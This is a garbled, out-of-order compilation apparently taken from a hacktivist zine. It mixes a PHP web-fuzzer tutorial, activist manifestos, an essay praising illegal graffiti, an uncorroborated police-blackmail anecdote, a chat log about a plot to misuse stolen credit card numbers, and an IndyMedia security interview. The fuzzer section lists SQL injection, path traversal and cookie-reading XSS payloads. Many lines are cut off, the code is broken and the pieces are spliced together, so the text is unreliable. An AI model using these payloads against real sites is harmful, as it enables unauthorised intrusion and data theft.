

requests. In this example, we are only making GET requests, but modified to include other HTTP methods.

```
function MakeRequest($url, $method="GET") {
    $url = str_replace(" ", "%20", $url);
    if ($method=="GET") {
        $host = substr($url, strpos($url, "://") + 3); $host=substr
0, strpos($host, "/"));
        $request = substr($url, strpos($host, "/"));

        $fp = @fsockopen($host, 80, $errno, $errstr, 10);
        if (!$fp) {
            echo "    ERROR . $url $errstr ($errno)$newline";
        } else {
            $out = "GET $request HTTP/1.1\r\n";
            $out .= "Host: $host\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            while (!feof($fp)) {
                $buf.= fgets($fp);
            }
            fclose($fp);
        }
    }
    return $buf;
}
```

Now that we can get results from the HTTP server for our malic need to run it through a function to scan it for the error code. The following function returns true if the \$result has any matches in the \$flags array.

```
function TestResult ($result) {
    global $flags;
```

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"Globalizing a bad thing makes it worse. Business power is bad, it is worse. But globalizing a good thing is usually good. Cooperation and sharing of knowledge are good, and when they happen globally, they are better. The kind of globalization there are demonstrations against is the globalization of business power. And free software is a part of the solution. It is the expression of the opposition to domination of software by software developers."

Richard Stallman

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"Whether through simple data piracy, or else by a more complex
actual rapport with chaos, the Web hacker, the cynernetican of
Autonomous Zone, will find ways to take advantage of pertubati
breakdowns in the Net (ways to make information out of "entrop
of information shards, smuggler, blackmailer, perhaps even cyb
TAZ-hacker will work for the evolution of clandestine fractal
connections, and the different information that flows among an
will form "power outlets" for the coming-into-being of the TAZ
were to steal electricity from the energy-monopoly to light an
for squatters." - Hakim Bey, Temporary Autonomous Zone

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We started the Hack This Site project to spread the idea that

Our web fuzzer works by taking a URL and manipulating each GET
every possible combination of requests with an array of malicio
designed to generate errors. Consider the following array which
selection of common requests which often generate errors and co
up to security holes.

```
// malicious web requests
$vulnchars[0] = array("%00", "%2527%252esasdf", "%u0000",
"%u5c00%u2700", "/", ". /", ". / . . / . /", "%2e/", "%2e", "%5C", "%s",
"%%%%", "!!!!!!!!!!!!!!!!!!!!!!!!", "#", "%5C27", "%5C%56", "\'", "\
"?>", "%a0");
// malicious sql requests
$vulnchars[1] = array(" OR 1=1", "' OR '!'='!');
// malicious xss requests
$vulnchars[2] = array("javascript:alert(String.fromCharCode(65,
"<script>alert('cookies, yo: ' + document.cookie);</script>");
```

We would then make all possible combinations of web requests an
output. Scan the results for an array of common error code outp
list of 'flagged' URLs to be later reviewed for auditing purpos
together the following array which contains a list of common we
errors.

```
$flags[0] = array("<b>warning</b>:", "warning:", "<b>fatal erro
to open stream:", "internal server error", "there was an error
this directive.", "http/1.1 400", "http/1.1 403", "http/1.1 500
error", "command not found", "file not found");
$flags[1] = array("[obdc", "mysql error", "you have an error in
syntax", "odbc drivers error", "[microsoft sql", );
$flags[2] = array("javascript:alert(string.fromCharCode(65,66,6
"<script>alert('cookies, yo: ' + document.cookie);</script>");
```

Now that we know what kind of requests to make and what we shou
output for, we can write some PHP code which will query the HTT

Your life is on the street. And there's an order to it. You know things are meant to be. Things are where they should belong. Ads go on walls and doors. Graffiti goes on walls and doors. The two co-exist. They clash where they each should be.

If you're living the life of a true graffiti artist, you're living the life you have created for yourself.

And what this means is...

Graffiti shouldn't be in ads and ads shouldn't be in graffiti. Graffiti in an ad is an ad. It's not graffiti. Graffiti done legally is public art sanctioned by the established graffiti.

For graffiti to be graffiti, it has to be done illegally.

Period.

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Fuzzers are tools which can audit code and probe systems for vulnerabilities. For the purpose of this article, we will write functions for a PHP script which will fuzz the GET parameters and trigger error codes and discover potential vulnerabilities. We are exploring possibilities of expanding the functionality to become a broad all-emcompassing web vulnerability auditing tool.

demands to be free and by providing hackers with hands on training to teach people how to use their skills for positive uses of free technology. After meeting up with others who were working on similar projects and seeing how people were inspired to turn skills to action from the first free technology released, we decided to get together and start Hackbloc.

Hackbloc are local gatherings of with hackers and activists to form an affinity group of hacktivists, and a tactic at protests and other actions to act to defend a free internet and a free society by mixing hacker strategies to explore both defensive hacktivism (defending free open publishing systems) and direct action hacktivism (actions against corporations, governments and other forms of fascism). Hackbloc is a decentralized network of cells which collaborate and coordinate with solidarity with other social justice struggles around the world.

We met up at various actions and gatherings around the country and built a network with other hackers and activists. We handed out underground magazines at guerrilla tables at DEFCON. We have had several work parties in Chicago where dozens of hackers around the region go to play wargames, pick locks, swap code, and otherwise plot for future actions. We got together to hold huge protests in both DC and San Francisco at the World Bank / IMF meetings where several hundred thousand people participated in anti-war and anti-capitalists protests. The more we started coordinating actions with others who were working on similar projects, the more we realize how different struggles all over the world are connected.

Battles in the courtrooms over political and hacker arrests and the actions of multiple people all over the world provide valuable lessons for us considering getting involved, playing the game, and organizing our own communities. In order to be safe and effective, we need to practice a security culture by working only with trusted people in tight decentralized affinity groups, maintain a mainstream front to recruit people to our projects, and work to settle differences between potential allies for the greater good.

As people who can see beyond and create alternatives to corruption are in a unique position to confront and fight the forces which threaten civil rights and a free internet. Independent media, free technology and non-commercial internet creates temporary autonomous zones within a network of hackers whose duty and responsibility includes to confront and fight these injustices - to defend hackers facing corporate and government corruption, find alternatives to communication, share knowledge and talk tactics with potential allies.

We are not the violent, destructive madmen that law enforcement paints us as. We work to build a free internet and a free world that will not be bullied by right wing extremists, white hat sellouts, or law enforcement stand in the way. Hacktivists of the world, unite!

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"The FBI COINTELPRO program was initiated in 1956. Its purpose was later by FBI Director J. Edgar Hoover, was "to expose, disrupt, discredit, or otherwise neutralize activities" of those individuals, organizations whose ideas or goals he opposed. Tactics include: labelling individuals as informants; infiltrating groups with agents to disrupt the group; sending anonymous or forged letters designed to create strife between groups; initiating politically motivated IRS investigations; carrying out burglaries of offices and unlawful wiretaps; and infiltrating other government agencies and to the media unlawfully obtained information on individuals and groups."

We are facing unprecedented police state measures which specifically target activists and hackers. In the name of national security, federal agencies has been spying on, targetting, and harassing activists including animal rights, and earth first and other protest groups. Whether in the form of the USA Patriot Act, expanded Homeland Security powers, Information Awareness, enemy combatants, military tribunals, or

When you decide that you are going to go up against the establishment you have is yourself. The only way you can survive is to protect yourself. If you don't protect yourself, you die. If not literally, then spiritually. Because you don't have any resources given to you by the mainstream establishment that you rejected, the only way you can survive is to protect yourself. The way you do this is to develop your own personal moral code that allows you to survive in a world that is outside "the norm" It is what drives you. Not money. Not a house with a white picket fence. Not a car. The code is what gives you piece of mind when things get tough. It allows you to go to jail for your actions and then get right back out once again.

It's the code that stops you from going crazy.
So where do you develop this code?
You develop it on the streets.
You learn it from watching and talking to others.
But most importantly, you get it from experiencing life.

And that's why graffiti culture is so powerful to people who do it. They experience life to the fullest. You are truly alive, risking what you have by rejecting the establishment, but living your life the way you have always wanted. You have real, true freedom.

As you experience life on the street you begin to pick up experiences that were little scraps of paper. And you start to make a collage with these experiences. You put all of the scraps together and it becomes a fabric that defines who you are.

You are defined by reality, not by television.
You are defined by experience, not by aspiration.
It's your code and nobody else's. And nobody can take it away from you.
And now, suddenly, you have a weapon.
The code itself becomes your weapon.

inches by 6.5 inches.

(At this point I may tell you that this officer was totally against illegal activity from the police, and he knew his consequences of this information. However reasons not known to us, he told us this, we thank you)

The officer also got us interested by the current case that he was at the time. Operation 'Mirror' This operation called for the use of computer Experts within the force to implant Key logging Software on suspects as well as Sinn Fein Politicians. This software was installed in several methods. By finding computers that the Suspects used and loading the software onto the computer in front of them, or the way of inserting this software onto the Suspects and Politicians remotely (i.e. HACKING).

The officer told us, that none of this was legal, and none of it was with permission from the Chief Constable. However the team were told to keep it secret. Another interesting point was that the data obtained from the software was used to Black Mail the suspects. They also found Credit Cards and illegal checks on their purchases.

This says a lot about the Northern Ireland Police Service. That is as low as to perform illegal acts in order to Blackmail and incriminate people. However this isn't just an isolated case in Northern Ireland, it is over the world.

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The graffiti movement is by its very nature a counter-culture, an anti-establishment mindset that is an alternative to the mainstream and rejection of the status quo.

authorizing the NSA to spy on Americans without court orders and these actions reveal a pattern of abuse and the transition to a neo-fascist state which treats hackers and activists as terrorists. When an individual breaks the law and walks all over the constitution, it is time for change.

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Federal prosecutors are accusing Michael Wally (known as "Hairball" of Pittsburgh) of 'stealing' and distributing 37,000 free phone cards in a giveaway, citing damages at over \$333,000. As of this writing, Wally is offering Hairball a deal where he would plead guilty to felony and serve up to three years in jail.

Folgers.com was giving away free 30 minute phone cards on it's part of an online promotion to people who filled out a quick survey. Hairball found a way to automate the process and get lists of free phone cards. What is unclear about these accusations is whether this is an act of civil offense or simply a violation of Folger's terms of service agreement (see case).

Hairball, having started HBX Networks, was a popular target of law enforcement authorities. HBX has started a number of computer hacking projects including the free shell project, the HAXOR radio show, wardialing project, IRC server, and more. Hairball has contributed positively to the hacker community, but has fallen victim to unjust prosecution with over 3 years of sentencing.

As part of a new trend in cyber crime and law enforcement, hackers are treated like terrorists and are often subject to illegal surveillance, unjust investigation, prosecution, and sentencing. Robert Erdle of the Pittsburgh High Tech Crimes Task Force has personally raided an

Hairball multiple times, including an earlier incident in late relating to HBX's wardialing project. His case has since been federal authorities, and is now facing several years in jail and restitutions for hurting or stealing from nobody.

Hairball has always worked to defend free technology and has inspired a lot of people to learn about computers and hacking. If Hairball got caught in a great crime will have been committed against the hacking community by reactionary federal prosecutors. We need to stick together to support our comrades facing jailtime and write letters, make phone calls, and spread the word about unjust hacker prosecution.

THEY'RE IN THERE FOR US, WE'RE OUT HERE FOR THEM

Hackers considering starting a Hacker Defense Network should consider prison support networks for setting up legal support.

www.prisonactivist.org www.spiritoffreedom.org.uk www.anarchism.org
www.abcf.net www.booksnotbars.org www.prisonbookprogram.org

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| Session Start: Friday, 4 February 2005
| Participants:
|   narc (narc@narc.net)
|   Kfir (kfiralfia@hotmail.com)
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[07:24:40 PM] Kfir: hello there.
[07:25:09 PM] narc: hi. I'm not liable for prosecution, or
                anything, based on the logs I sent you?
[07:25:32 PM] narc: that concerns me.. I'm willing to help you
                every capacity possible, but that's one thing I'd
                avoid
[07:26:00 PM] Kfir: I'm not sure... but i can't imagine anyone
                prosecute someone who is walking away, and helpi
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The Con held many activities such as
Capture The Flag (Fedora Systems Used)
Hack the Hotel (A successful bid to take over the Hotels Internet
The Hammond Files (An in-depth Discussion into his situation)
Hackthissite D (Discussion into Origins, success's , Failures
Presentations on Bluetooth Hacking
Presentations on the Northern Ireland Hackers (Growth, Skills

All in all it was a fantastic day, however as most of you DNScoopers know, the real stuff doesn't happen until the con is over and we get to talk.

As I was one of the organisers, I was getting a lot of people coming and talking about different things. However one man in particular caught my attention; he said he was a Police Officer working in the Computer Forensics, Stings etc. So I immediately offered him to join the other organisers and myself for the usual post-con pint of Guinness.

As usual the topic of Politics came up, and obviously his views were interesting due to his occupation. Progressively we turned the conversation around to the IRA (Army sworn to keep Ireland Free from British rule and create a united Ireland). The officer started to talk about his involvement in certain operations against the IRA (Strictly of the Record of Confessions).

One of the operations he only heard about was the tapping of the Special Office (Sinn Fein the political Wing of the IRA). When Sinn Fein had their offices at night, the Special Agents would break into the offices and install little bugging devices so they could hear the Sinn Fein Leaders. This was this not authorised but also HIGHLY illegal.

(picture)

This is part of a British MI5/PSNI bugging device found hidden under the floorboards of a Sinn Fein office in Belfast in September 2004.

demonstrations?

UK: Yeah, Bristol is fairly separate collective of the UK, and learned the lessons UK IndyMedia have, which is a shame.

Jeremy: What do you have to say to people who are just beginning involved, just starting to understand these issues. What would be an effective way to educating themselves as well as plugging in with collectives and people who are involved to take a more active role?

UK: The biggest thing is to just sit down and start reading. Find out how IndyMedia functions, how the global groups decide things. Then come find us - we are there!

Jeremy: Great! I thought this was very productive. Anything else to say?

Gary: I'd like to say one thing. Thank YOU for putting yourself and your property at risk for the free exchange of digital information. You're the hero and you're putting everything on the line - there's nothing they won't be busting down your door next. So I admire you for doing it to you. It takes a hundred heroes like you to keep this movement going.

UK: There are many of us - in places people wouldn't expect to find us.

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At the first ever Northern Ireland Computer Security Enthusiasts Conference (NICSE CON) held in the Europa Hotel Belfast saw the amalgamation of 14 Computer Science Professors, 19 System Administrators, and 100+ others. All with the common goal to seek and learn new security information.

the mastermind

[07:26:13 PM] narc: well. I never actually intruded on your system

[07:26:19 PM] narc: all I did was notice an exploit in the .php

[07:26:19 PM] narc: heg

[07:26:21 PM] narc: heh*

[07:26:41 PM] Kfir: I tell you what though, i would fight tooth and nail to prevent your prosecution.

[07:26:55 PM] narc: I don't *think* that's a criminal offence

[07:27:15 PM] Kfir: i would rather not prosecute anyone if you're going to go down - you are helping us tremendously. you are preventing some very serious criminal acts.

[07:27:47 PM] Kfir: i am in the process of trying to get all of your credit card numbers fraud blocked.

[07:27:55 PM] Kfir: it's not easy work, but i need some time.

[07:27:58 PM] narc: yeah

[07:28:01 PM] narc: I can imagine

[07:28:04 PM] Kfir: is there any way you can postpone the charges for a couple of days?

[07:28:08 PM] narc: yes

[07:28:13 PM] narc: he's stymied at the moment

[07:28:19 PM] narc: he's putting it off til at least sunday

[07:28:23 PM] narc: maybe later in the week

[07:28:28 PM] Kfir: good.

[07:28:50 PM] Kfir: i'm going to need that much time to make sure no one gets defrauded. i don't give a damn about the server at this point.

[07:29:10 PM] narc: yeah... he already had SQL dumps by the time he contacted me

[07:29:16 PM] Kfir: he can have the goddamned thing. it's not like we're going to pack our bags and disappear.

[07:29:17 PM] narc: so I don't quite know how he obtained them

[07:29:34 PM] narc: yeah, well, from what I gathered from running processes he pasted, you were backing the box up

[07:29:35 PM] narc: heh
[07:30:15 PM] Kfir: If i'm going to get the fbi to listen to m
credible witness would be a long way. If you ar
gauranteed from prosecution, would you cooperate
authorities?
[07:30:40 PM] narc: yeah
[07:30:43 PM] Kfir: yeah, i have the entire server tar balled
safely stored for future use.
[07:30:58 PM] narc: but this may cause problems insofar as I'd
rather not have him know who I am
[07:31:06 PM] Kfir: does he?
[07:31:09 PM] narc: no
[07:31:10 PM] narc: he probably has a LOT of sway with certain
people
[07:31:55 PM] narc: he's made a lot of contacts in the scene..
knows many, many security experts, and probably
plenty of militant activists too
[07:31:56 PM] Kfir: Jeremy can get into very big trouble - he'
kid, and i would hate to see a man with obvious
be sent to prison.
[07:32:30 PM] narc: yeah... I'm only 18
[07:32:31 PM] Kfir: but this credit card business is just craz
really don't understand what would drive someone
something so foolish.
[07:32:49 PM] Kfir: wow...
[07:33:09 PM] Kfir: kids today... i need to bone up on my secu
knowledge.
[07:33:47 PM] narc: if there's one thing he is, it's willing t
goto prison
[07:34:09 PM] narc: his beliefs consume everything he does
[07:34:23 PM] narc: not fundamentally that different from your
average Islamic terrorist, I guess.
[07:34:33 PM] Kfir: i started coding HQ and administering the
server without much experience. after reading t

But yeah, it's bound to happen.

Alxciada: How long ago were your servers actually taken?

UK: Trying to think, I believe it was last June

Jeremy: What do you think about the raid that happened about a
Bristol?

UK: That's even worse and that's one of those things that are a
Indymedia needs to move toward encryption circuits and publishi
can't tie back to who precisely posted what. The Italian case -
that is they didn't realize how content is distributed.

Jeremy: What were the circumstances behind the Bristol server b
they also looking for server logs?

UK: Yeah, that was a case where a radical collective did some d
destroyed some property and police became involved. My understa
someone from IndyMedia tipped off the police.

Jeremy: So they broke consensus with the larger group, went dir
police, and that caused the server as a whole to be seized?

UK: Yeah, and that was hosted in someone's house as well, so th
their place.

Alxciada: Did they have any mirrors?

UK: They had another backup but it wasn't actively updated. It
to get a hold of someone with the Bristol project. The server w
it is difficult to actually switch over the backups.

Jeremy: The seizure in Bristol happened about a week before the

the political ramifications of their actions. The only time you
it as a community is when - the cisco case, something happens,
pulled, someone shits in their pants, but nobody takes the int
term basis. That's frustrating and it needs to change. What th
in Europe right now, their talk list is a lot more encompassin
time with other issues than security per say, like the DMCA, c
they think behind the box, and as a hacker community, we all n

Jeremy: I would certainly agree of your critique, especially o
seems more like a white hat drunken party, there's not as much
only 10% of the people here are maybe hackers anyway, everyone
for the culture, the sideshow. How do you think things have ch
past few years in light of some of the new policies and anti-t
legislation? How do you think the hacking community has change
radicalized?

UK: I think the UK and Europe is certainly starting to pick up
unlike America where you have a huge great community, Europe d
that's one of the things that is being worked on right now, li
constitution, declaration of human rights, that kind of thing.
involved. The people in the ground need to get it done and pus
lot of success recently and we need to learn from it.. If Euro
bond together, we can stop bad legislation, but we need to pul
too frequently this hasn't happened.

Jeremy: I'm looking at past conventions like Hackers on Planet
happened last summer. It was held in New York City a month bef
National Convention, so naturally it was a lot more political
thought it was a lot more independent, more genuine, talking a
and digital rights and how we can protect systems such as Indy
they actually had an IndyMedia speech and several other politi

UK: What the Hack was the same way. Italian government agents
sniffed the wire effectively and the ISP told IndyMedia it was

i can see how much there is to learn - it almost
like it would take a full-time concentration to m

[07:35:20 PM] Kfir: so why did you agree in the first place? y
obviously have moral fiber... why destroy other p
property?

[07:35:29 PM] narc: I never planned to

[07:35:38 PM] narc: I was going to see where it was heading

[07:35:47 PM] narc: showing him an exploit seemed like a good w
to gain his trust

[07:36:12 PM] Kfir: oh..

[07:36:25 PM] Kfir: so does he not have root access at this poi

[07:36:32 PM] narc: nope

[07:36:44 PM] Kfir: is he waiting for the bots to restart?

[07:36:47 PM] narc: I've had the distinct impression in the yea
and a half that I have known the guy that he has
to a lot more than it seems

[07:36:49 PM] narc: turns out I was right

[07:37:48 PM] narc: besides, the exploit I gave him never quite
worked

[07:38:28 PM] narc: I knew it'd work on the test copy of the bo
he'd setup, but not on your box -- diff ver of ph
command line binary

[07:38:53 PM] Kfir: so is he waiting for the bots to fire up?

[07:39:08 PM] narc: I believe so

[07:39:28 PM] narc: but believe me, that flaw was very, very
minor... even exploiting is well past most people
capabilities, as the vast majority of shell
metacharacters were prohibited

[07:39:40 PM] Kfir: do you have any details as to his plans to
pw server to launch the cc charge exploit?

[07:39:41 PM] narc: you ran a pretty good system

[07:39:49 PM] narc: from what I've seen

[07:39:59 PM] Kfir: that's rob's work... i mainly work on the p
code.

[07:40:04 PM] narc: yeah
[07:40:10 PM] narc: well, your PHP code had few flaws
[07:40:12 PM] narc: if any...
[07:40:15 PM] narc: Xec never found any
[07:40:33 PM] Kfir: yeah, we were very careful in our patch up the RNC hack
[07:40:59 PM] Kfir: we made sure no malicious chars were allow enter an sql query.
[07:41:13 PM] narc: his own site had a few billion holes
[07:41:24 PM] Kfir: hts.org?
[07:41:36 PM] narc: yeah
[07:41:51 PM] narc: I got involved with them to learn, not to down the opposition's political speech
[07:41:57 PM] Kfir: i trained on his site about a year ago.
[07:42:11 PM] Kfir: agreed - let the best ideas win.
[07:42:37 PM] Kfir: not the best gun.
[07:42:47 PM] narc: I don't think he realizes that he has become precisely what he purports to despise so much
[07:43:11 PM] Kfir: no offense to you, but that seems to be very typical of those we encounter on the "other side"
[07:43:32 PM] Kfir: you seem extremely mature for an 18-year-old almost hard to believe.
[07:43:42 PM] Kfir: But you Aussies always were a breed apart.
[07:44:10 PM] narc: heh... I just started college, I don't have much interest in going down for some stupid hack offence
[07:44:42 PM] Kfir: i think he's intoxicated by the glory of being "underground hacker".
[07:44:59 PM] Kfir: he's in love with this romantic notion of taking down the "fascists".
[07:45:02 PM] Kfir: very deluded.
[07:45:02 PM] narc: no glory in destruction, or so I've found
[07:45:38 PM] Kfir: do you have any details as to his plans to pw server to launch the cc charge exploit?

it imc-security@lists.indymedia.org is the place to dump in. There are there have a web of trust where you can't get in unless two others are for you.

Jeremy: How do you think right-wing hackers and script kiddies view the open disclosure policy of dadaimc?

UK: I can't really talk much about that unfortunately it's not been involved with. Certainly people we're working with are going dadaimc line by line.

Jeremy: How can hackers play a more integral role in the development and protection of this software?

UK: I think the trick is really just to get involved. To get to where you're a member of the trusted team takes a little bit of time there's nothing to stop people..

Jeremy: Yeah, cause they can still just download the source and do auditing.

UK: Yeah, but one thing we don't want happening this has happened. We had a guy portscanned all 13 of the UK mirrors. Now in a sense these things we knew about, but on the other hand we don't want to encourage start scanning our boxes because it generates extra processes - it's happier for people to work with us and communicate with us about doing this kind of thing- if anything so we don't block them.

Jeremy: I had personally installed it on localhost. How can hackers, rights activists collaborate and work together in order to help and help take the battle to the courts?

UK: I think the biggest thing is to get hackers to understand that Hackers at the end of the day don't break things. It doesn't take

UK: In the last 3-4 months we started to put together as secur through each of the servers, each of the code bases, and work : the weaknesses. I think historically IndyMedia has been pretty more interested with people being able to publish freely and n about the security of their systems in which the puiblisng oc changing, very quickly.

Jeremy: That brings me back to a couple months ago - there had vulnerabilities - one happened during the RNC with the cross s error in dadaIMC - a group calling itself RightWingExtremist.n this during the RNC by changing many indymedia sites to redire said 'indymedia is anti-american' or something crazy! [killing

UK: The system we're using in the UK is very resilient, it's j guy's done a good job we haven't seen too many problems

Jeremy: Which one are you using?

UK: We're using Mir, it's been pretty responsive.

Jeremy: I believe DadaIMC had had the most problems ..

UK: Yeah, Dada has had a clear history of problems, I agree

Jeremy: A few months ago I had spoken to Spud regarding a vuln discovered DadaIMC regarding uploading and excecuting PHP file notified them of this vulnerability and said, "listen we need until each independent IMC staff is privatley notified and upd it's a big job and it's not something that'll happen overnight

UK: One thing I will say while I've got the opportunity is tha private list for IMC techies. It's a fairly rigorous process t but if anyone finds an issue, dump it straight to the people w

[07:45:51 PM] Kfir: i noticed he mentioned that in the logs.
[07:46:12 PM] narc: yes, he wanted me to write scripts to do it
[07:46:14 PM] narc: still does, I guess
[07:46:30 PM] narc: but that's been delayed by the fact the exploits have mysteriously disappeared
[07:46:40 PM] Kfir: so will you postpone that as much as you ca without him knowing your postponing?
[07:46:57 PM] Kfir: assuming he finds another exploit?
[07:47:04 PM] narc: he won't know. he's paranoid; believes that the feds are probably already watching him
[07:47:14 PM] narc: probably are, too, given his history
[07:47:19 PM] narc: they've tried to pin a lot of stuff on him failed
[07:47:25 PM] Kfir: has he broadcasted the cc#'s yet?
[07:47:34 PM] narc: no. that waits until the charges occur
[07:47:41 PM] narc: then he plans to release them to cryptome.o and P2P networks
[07:47:49 PM] narc: as well as using his media contacts to ensu wide publicity
[07:47:54 PM] Kfir: well, at that point, they'll be useless.
[07:47:59 PM] narc: yeah
[07:48:06 PM] narc: but I think the point is a "moral victory"
[07:48:08 PM] narc: or so he says
[07:48:09 PM] Kfir: how does he plan to get publicity while rem anonymous?
[07:48:24 PM] narc: anonymous remailers/his bounce servers, I guess.
[07:48:36 PM] Kfir: will an official organization take credit?
[07:48:38 PM] narc: unless he's caught in the act, it'll take months of subpoenas to prove it was him
[07:48:43 PM] narc: yeah
[07:48:44 PM] narc: ILF
[07:48:48 PM] narc: ("Internet Liberation Front")
[07:48:51 PM] Kfir: why months of subpoenas?

[07:48:57 PM] narc: international servers...
[07:49:00 PM] narc: most aren't domestic
[07:49:16 PM] narc: and he plans to get someone else to wipe t
lot to break the chain
[07:49:29 PM] narc: he might not be that talented at hacking p
se, but he knows how to cover his tracks
[07:49:30 PM] Kfir: well, the logs are fairly incriminating.
[07:50:00 PM] narc: I'm almost certain he'd get away with it i
hadn't contacted you
[07:50:10 PM] Kfir: no argument there.

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As hard as corporations and governments try to control the flo
internet, they can never catch up with hackers who are always
have developed all sorts of ways to circumvent restrictions pl
information freely. An ever-growing number of darknets and oth
content distribution have been created using file sharing serv
Gnutella and BitTorrent, open publishing systems such as IndyM
open DNS systems such as OpenNIC and Afraid.org. These DIY net
bought, sold, or otherwise controlled and are unstoppable weap
only make copyright and commercial internet irrelevant, but pa
developing entirely new networks, pirate utopias based on an o
anarchist approach towards the free exchange of information.

"Quantity and quality of P2P technologies are inversely propor
to the numbers of lawsuits issued to stop P2P" - 3rd Monty's L

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Gross privacy violations are a small part of fundamental probl
is structured. In a paper published at kuro5hin.org, "An Immod
outlines the broader problems with ICANN's DNS model:

[laughter]

UK: The content management system we use is very good, it's des
mirroring. We've basically taken advatage of the way the CMS sy
and used it to our advantage. The dynamics are the site are act
the publish server and then the servers actually show the data.

Jeremy: So when you actually post something to UK IndyMedia it
mirrored to other servers all over the world?

UK: And a variety of different operating systems. Our personal
a Solaris box. Others run debian, freebsd, fedora core - we hav
contingent of OSs so if a vulnerability breaks out - unless it'
the publishing system itself - we should have a reasonable amou

Jeremy: This seems like a perfect example of how a decentralize
content distribution can protect ourselves from not only legal
it creates a aura of bureaucracy the courts have to go through
ourselves from would-be hackers ...

UK: Yes, definitely.

Gary: In an era of extrajudition proceedings where the authorit
can do anything they want and just present us with facts despit
protections that clearly exist in this case and were violated,
to use technology to negate the fact that authorities think the
law.

UK: Precisely, it's not the first case and it's not the last. T
happening at the moment, servers taken all the time, it's a gro
indymedia needs to be aware of that and try to survive it.

Jeremy: How are people within hacking and programming communiti
support the project?

Gary: That the British were happy to allow?

UK: I don't think the Brits had a whole lot to do with it. From understanding Rackspace employees went into the server room ya

Jeremy: They were originally were looking for a flat log file : just said "I'm not gonna mess with this!" and gave up the enti

UK: As I understand it, yes

Jeremy: And there were a lot of other various websites and col server?

UK: Oh yes, there was everything from linux distros, to variou personal sites - yeah, it hit a lot.

Gary: I would assume this is a violation Rackspace's contract entities that have signed it?

UK: Unfortunately the contract was with a single individual. Y was a contract violation there, but as I said, because it neve authorities, to drag it through the UK system there would be n case would fall apart. Because it was in the US the case there in the US going on, there is a lot easier to focus on.

Jeremy: Knowing what you know now about the corporate host and quick to give up everything and set back these various collect you configure or structure these servers to make the system as liable?

UK: Well it's very interesting and actually very simple. We dr circle around the biggest weakness: we had one server, we now

* DNS is centrally controlled by an organization (ICANN) whose is supporting business, rather than in maintaining and improvin itself and whose primary claim to legitimacy is through delegat country's government (USA).

* The system is managed by a single for-profit corporation (NSI enough but registrations are managed by many competing for-prof NSI is also primarily legitimized by delegation from a single g again, naturally).

* The Intellectual Property laws of a single country (there's t being used inappropriately to control the activities of users i parts of the Net (corporate control of the .net and .org domain Trademark law) and in other countries.

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Open publishing systems such as the IndyMedia allows people to announcements freely and become the media. IndyMedia is a decen of media collectives found in most major cities around the worl people to post announcements, update fliers, and otherwise tune happenings of the area. There are several flavors of IMC softwa sfactive, mir, and dadaimc - all of which have advantages and d IndyMedia software is generally open source and people can and own IMC collectives with minimal effort. Wiki open publishing s becoming increasingly popular over the past few years. Sites wi people to create and modify all pages in the index, and instead with chaos and confusion, services like Wikipedia.org have beco successful.

Peer to peer file sharing services open whole new worlds where communicate and collaborate at an accelerated rate, where creat inhibited by such artificialities as copyright laws and propert well beyond centralized systems such as Napster, technology lik

Gnutella, FastTrack, eDonkey, and countless others have created independent of centralized servers allowing people to share files through their own clients for these protocols. Our success with these is indicated by how frightened the commercial industry is getting and ineffectual their attempts to shut down these services through. When one service shuts down, another three spring up even more anonymous than before.

In addition to providing free dynamic DNS services, Afraid.org is a system where domains can be made public and shared with other parts of the internet. People can register domains, point them to afraid.org, and make them 'public' - allowing others to register their own domains and have them point to their own servers. There are thousands of people who can already start using.

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ICANN and Alternatives to Commercial DNS

Since ICANN policy is now requiring valid public contact information for domain names which host controversial content including dissident and whistleblowing services have had to choose to give up their name, phone number, and address or face being shut down. Several domains including Hack This Site, Hacktivist.net, FreeJeremy.com and Prole.info have been shut down without any warning, taking weeks for them to re-register. We have copies of our drivers license, phone bills, and other documents confirming our true information. This new policy is an obscene violation of privacy and is a threat to dissident or whistleblowing groups.

In the resulting discussions, the OpenNIC project was created as a self-owned and controlled Network Information Center offering a decentralized, non-national, alternative to the traditional Top-Level Domain system. It can jump on this network by adding an OpenNIC DNS server to their local configuration.

Alxciada: Was it United States federal agents that raided the servers?

UK: I believe so. I believe it was Rackspace employees that went through the servers. The court orders that were filed were filed in Texas. They went through that and demanded the papers, and that's currently out, but hopefully we'll get a clear picture of what they were looking for.

Gary: Are there any areas of European or British security law that provide coverage or at least an option of defending against this?

UK: Oh, yes! Data protection acts alone should cover this kind of thing. They effectively seized a server that hosted shitloads of different information. They were after one very specific piece of information and in the process they got lots of other shit so I imagine there are data protection acts that apply on the case.

Gary: Are there legal remedies available to prosecute and affect this? This is an extrajudicial action which is what it sounds like.

UK: I'm not sure if anything is happening in the UK because unfortunately Europe doesn't have anything like an EFF at this stage. It's one of the things being worked on talked about but it's never achieved fruition. It's depending on a far wider group of individuals to help us out. Like the EFF associated with journalism, trade, privacy, etc. but there's no one for information privacy having to do with electronic information.

Gary: So European Data Security laws are even less protective than the US?

UK: I think they are because it was the way the manuever was pulled off. It effectively never went through anywhere near the UK system. If it had gone through the UK system it would be a long drawn out case there would have been a lot of time we would have had our day in court. But because they went through the US system - a loophole - it went past our security.

Jeremy: I heard the pictures that were posted were undercover] were looking for the people who originally published them?

UK: That's the Swiss connection I believe, however I think the government had a more general problem with IndyMedia - I met w wonder if that's what that connection came from.

Jeremy: How could the Italian authorities pressure the British execute this raid?

UK: As I understand it, there's a mutual legal assistance trea the US. Now Rackspace which previously hosted the UK server is which therefore falls under US jurisdiction to a degree. Quest legal because the servers were hosted in the UK and rackspace : in the UK, therefore, we believe it should have gone through d UK who should have taken the servers - they didn't, that's wha the moment.

Jeremy: The hosting company itself gave the server up upon req authorities?

UK: I believe so, now this is one of the interesting things, a with where we are today. Apparently, the servers weren't actua logs were requested, and Rackspace went one step further. Rack bent over and took it. They handed over the entire server syst

Jeremy: Wow.

Alxciada: So they were originally coming for the logs.

UK: Apparently so, that's what we're hearing, hopefully in the should hear a little more about it. The EFF put enough pressur to get the papers.

OpenNIC is non-profit and structured in a democratic way, with administrators and public ballots for new policies, also giving people to start their own top level domains (such as .indy, .ge and .parody) The idea is to be non-profit, democratic, and allow create and manage their own top level domains.

As long as we are communicating through commercial ISPs, we sub networks which can be easily monitored and controlled. Even tho develop all sorts of ways of sliding in and out of these system are still reliant on internet infrastructure that is owned and corporations and government. We need to be come used to the ide

The Guerrilla.Net project proposes setting up an alternative ne wifi nodes. Encryption and anonymity is integrated at a route creating the ability to establish secure tunnels to the 'real' idea is to set up a decentralized network of wifi cells run by non-profit groups using open standards.

